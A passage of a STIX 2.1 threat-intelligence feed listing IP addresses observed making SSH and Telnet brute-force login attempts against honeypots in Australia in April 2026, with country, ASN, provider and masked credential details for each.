      "valid_from": "2026-04-16T12:15:04.000Z",
      "valid_until": "2026-05-18T12:15:02.000Z"
    },
    {
      "created": "2026-04-16T12:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--a5c0fda1-6f87-4fce-b24e-e2a46db221ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '61.77.88.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T12:15:04.000Z",
      "valid_until": "2026-05-18T12:15:02.000Z"
    },
    {
      "created": "2026-04-16T13:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc.. Usernames observed (masked): A*******************p, G************1, U**************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--62471c65-1112-4f04-8bb8-35eb5d326586",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T13:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '3.21.170.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T13:15:06.000Z",
      "valid_until": "2026-05-18T13:15:02.000Z"
    },
    {
      "created": "2026-04-16T13:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 3209. Organisation(s): Vodafone GmbH. Usernames observed (masked): r**t. Passwords observed (masked): d****n, u****u.",
      "id": "indicator--372f3c9d-de25-4c1d-a8b3-0c98bceb4451",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T13:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '88.76.191.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T13:15:06.000Z",
      "valid_until": "2026-05-18T13:15:02.000Z"
    },
    {
      "created": "2026-04-16T14:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): u****u, 3**********4, f*****r, ***, r**t. Passwords observed (masked): 1*******3, 1******q, 1******W, 2*****#, 3***********4.",
      "id": "indicator--478680a3-0a16-47e5-ba45-c75633bb8c63",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T14:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.36.107.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T14:15:04.000Z",
      "valid_until": "2026-05-18T14:15:02.000Z"
    },
    {
      "created": "2026-04-16T14:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24309. Organisation(s): Atria Convergence Technologies Pvt. Ltd. Broadband Internet Service Provider INDIA. Usernames observed (masked): r**t, 3**********4, d********r, s****1, t*******k. Passwords observed (masked): 1****6, 1******W, 1****., 1******@, 3***********4.",
      "id": "indicator--bcaf2e47-d4a5-4ad6-89f2-4fbccb95b3f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T14:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '106.51.92.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T14:15:04.000Z",
      "valid_until": "2026-05-18T14:15:02.000Z"
    },
    {
      "created": "2026-04-16T14:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 87. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 12252. Organisation(s): America Movil Peru S.A.C.. Usernames observed (masked): t***e, 3**********4, f*****t, r**t. Passwords observed (masked): 1****1, 1**4, 3***********4, 3**********4, Q**********..",
      "id": "indicator--1ad3408c-cca4-4a99-9410-722c58299f45",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T14:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '190.119.198.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T14:15:04.000Z",
      "valid_until": "2026-05-18T14:15:02.000Z"
    },
    {
      "created": "2026-04-16T14:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 224. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, o****e, u**r, u***1, a****e. Passwords observed (masked): 1****6, !******r, !******X, !******X, 1****1.",
      "id": "indicator--ff2f8656-d0e6-4afd-861b-26733e4bc62f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T14:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '4.190.154.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T14:15:04.000Z",
      "valid_until": "2026-05-18T14:15:02.000Z"
    },
    {
      "created": "2026-04-16T15:15:21.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): U****************************1, G**************************************************1, G**********************************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--dae37848-44df-42c8-a34c-ce719309f552",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T15:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '167.71.33.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T15:15:21.000Z",
      "valid_until": "2026-05-18T15:15:08.000Z"
    },
    {
      "created": "2026-04-16T15:15:21.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 210402. Organisation(s): Hala Al Rafidain Company for Communications and Internet LTD..",
      "id": "indicator--eb6bf217-f9de-4c17-ae86-839028877079",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T15:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.106.61.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T15:15:21.000Z",
      "valid_until": "2026-05-18T15:15:08.000Z"
    },
    {
      "created": "2026-04-16T16:16:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 292. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment. Usernames observed (masked): r**t, t*******k, 3**********4, j***s, t**t. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, 1****6.",
      "id": "indicator--7b778499-0c19-4a60-ab30-90e27e62e7aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T16:16:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '110.38.234.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T16:16:16.000Z",
      "valid_until": "2026-05-18T16:15:09.000Z"
    },
    {
      "created": "2026-04-16T16:16:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 255. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, u****u, a****a, a*****e, d****y. Passwords observed (masked): 1****6, ***, *, 1********6, 1**4.",
      "id": "indicator--55d1dc62-594f-41db-8bc2-4ab3d843a07a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T16:16:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T16:16:16.000Z",
      "valid_until": "2026-05-18T16:15:09.000Z"
    },
    {
      "created": "2026-04-16T16:16:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 292. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LV. ASN(s): 41745. Organisation(s): Baykov Ilya Sergeevich. Usernames observed (masked): r**t, t*******k, 3**********4, j***s, t**t. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, 1****6.",
      "id": "indicator--ef37ebfb-079f-4c36-96c8-a15b7308a0db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T16:16:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.113.139.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T16:16:16.000Z",
      "valid_until": "2026-05-18T16:15:09.000Z"
    },
    {
      "created": "2026-04-16T16:16:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 215778. Organisation(s): Alpha Strike Labs GmbH.",
      "id": "indicator--0dbbe2e5-d1fc-418c-8d94-d3b15b0a10db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T16:16:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T16:16:16.000Z",
      "valid_until": "2026-05-18T16:15:09.000Z"
    },
    {
      "created": "2026-04-16T16:16:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--cd1cb4ed-ad9e-4241-96ad-10b64a6f223b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T16:16:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T16:16:16.000Z",
      "valid_until": "2026-05-18T16:15:09.000Z"
    },
    {
      "created": "2026-04-16T16:16:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 852. Organisation(s): TELUS Communications.",
      "id": "indicator--fa4e6830-0593-4c24-ae35-deebd70dee5f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T16:16:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '207.6.37.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T16:16:16.000Z",
      "valid_until": "2026-05-18T16:15:09.000Z"
    },
    {
      "created": "2026-04-16T17:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, s***y, 3**********4, a*******r. Passwords observed (masked): 1****6, 3***********4, 3**********4, A*****3, A*********7.",
      "id": "indicator--b7be6616-b3b3-43f4-a105-e0ee2f9a0847",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.193.33.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T17:15:04.000Z",
      "valid_until": "2026-05-18T17:15:02.000Z"
    },
    {
      "created": "2026-04-16T17:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--618815a7-176d-4dbd-91b7-6ceccf5c1863",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '119.183.25.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T17:15:04.000Z",
      "valid_until": "2026-05-18T17:15:02.000Z"
    },
    {
      "created": "2026-04-16T17:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 87. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t, c********r, t**t. Passwords observed (masked): 1**********6, **, Q*****., c********r, q************#.",
      "id": "indicator--3a448017-59eb-48b3-9a83-0ccdeecfeff2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.103.127.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T17:15:04.000Z",
      "valid_until": "2026-05-18T17:15:02.000Z"
    },
    {
      "created": "2026-04-16T17:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, u****u, 3**********4, o****5, o****e. Passwords observed (masked): 1******X, 3***********4, 3**********4, @*******6, A*c@123...",
      "id": "indicator--09642eb6-cab4-44fa-9fec-18e8eddf1905",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.32.211.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T17:15:04.000Z",
      "valid_until": "2026-05-18T17:15:02.000Z"
    },
    {
      "created": "2026-04-16T17:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, p**********r, 3**********4, ***, o****e. Passwords observed (masked): 3***********4, 3**********4, A*c@123.., B*****1, O*******!.",
      "id": "indicator--2e35b40d-5a00-4e2a-8fec-6ba6d551bf97",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '159.223.54.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T17:15:04.000Z",
      "valid_until": "2026-05-18T17:15:02.000Z"
    },
    {
      "created": "2026-04-16T17:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--ecfb95ba-5faf-4654-899e-99774afa4b3d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '201.106.7.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T17:15:04.000Z",
      "valid_until": "2026-05-18T17:15:02.000Z"
    },
    {
      "created": "2026-04-16T17:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--e9a34cd2-9180-4f92-8d36-985b8837ca38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '206.135.161.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T17:15:04.000Z",
      "valid_until": "2026-05-18T17:15:02.000Z"
    },
    {
      "created": "2026-04-16T17:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--a575e72b-86cb-449b-8753-a1698a551322",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '207.154.255.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T17:15:04.000Z",
      "valid_until": "2026-05-18T17:15:02.000Z"
    },
    {
      "created": "2026-04-16T17:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Heralding. Target ports: 5900. Source country: NL. ASN(s): 60781. Organisation(s): LeaseWeb Netherlands B.V..",
      "id": "indicator--786b555d-0545-4f68-bdf9-3bb3fcb0d5b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '95.211.165.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T17:15:04.000Z",
      "valid_until": "2026-05-18T17:15:02.000Z"
    },
    {
      "created": "2026-04-16T18:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--4f8e8383-62cf-4488-86d1-353b88091f96",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T18:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '139.135.43.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T18:15:34.000Z",
      "valid_until": "2026-05-18T18:15:02.000Z"
    },
    {
      "created": "2026-04-16T18:15:34.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC. Usernames observed (masked): r**t. Passwords observed (masked): a***********i.",
      "id": "indicator--552a5328-d8d3-43cc-ac35-21575f335365",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T18:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T18:15:34.000Z",
      "valid_until": "2026-05-18T18:15:02.000Z"
    },
    {
      "created": "2026-04-16T18:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--66ee1a55-a891-4e39-ac11-f11c5ca88e52",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T18:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '85.104.10.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T18:15:34.000Z",
      "valid_until": "2026-05-18T18:15:02.000Z"
    },
    {
      "created": "2026-04-16T19:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 9595. Organisation(s): NTT-ME Corporation.",
      "id": "indicator--a6f3f780-3645-4be6-96a6-13596fe61dcc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T19:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.65.84.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T19:15:16.000Z",
      "valid_until": "2026-05-18T19:15:02.000Z"
    },
    {
      "created": "2026-04-16T19:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--c30fa194-6864-41a9-8c9b-9d2819fa23c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T19:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '138.124.181.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T19:15:16.000Z",
      "valid_until": "2026-05-18T19:15:02.000Z"
    },
    {
      "created": "2026-04-16T19:15:16.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): A*******************p, G************1, U*******************************x. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--4922af1e-b81b-4f6c-85cd-5e188b20cf88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T19:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '167.71.110.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T19:15:16.000Z",
      "valid_until": "2026-05-18T19:15:02.000Z"
    },
    {
      "created": "2026-04-16T19:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--e48dbced-6eec-4ae5-b389-bc8c9b6f6f82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T19:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '221.15.92.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T19:15:16.000Z",
      "valid_until": "2026-05-18T19:15:02.000Z"
    },
    {
      "created": "2026-04-16T19:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 1378. Organisation(s): Interbel Telephone Cooperative, Inc..",
      "id": "indicator--42ac34d5-2fbc-4c0c-add6-a4e16a2e04e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T19:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '38.252.170.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T19:15:16.000Z",
      "valid_until": "2026-05-18T19:15:02.000Z"
    },
    {
      "created": "2026-04-16T19:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: EG. ASN(s): 24863. Organisation(s): LINKdotNET.",
      "id": "indicator--2a737477-5455-4058-83d1-f1136e855774",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T19:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '41.130.140.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T19:15:16.000Z",
      "valid_until": "2026-05-18T19:15:02.000Z"
    },
    {
      "created": "2026-04-16T19:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--567b1a64-bf13-4248-8848-7092f50cf770",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T19:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.252.231.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T19:15:16.000Z",
      "valid_until": "2026-05-18T19:15:02.000Z"
    },
    {
      "created": "2026-04-16T20:15:24.000Z",
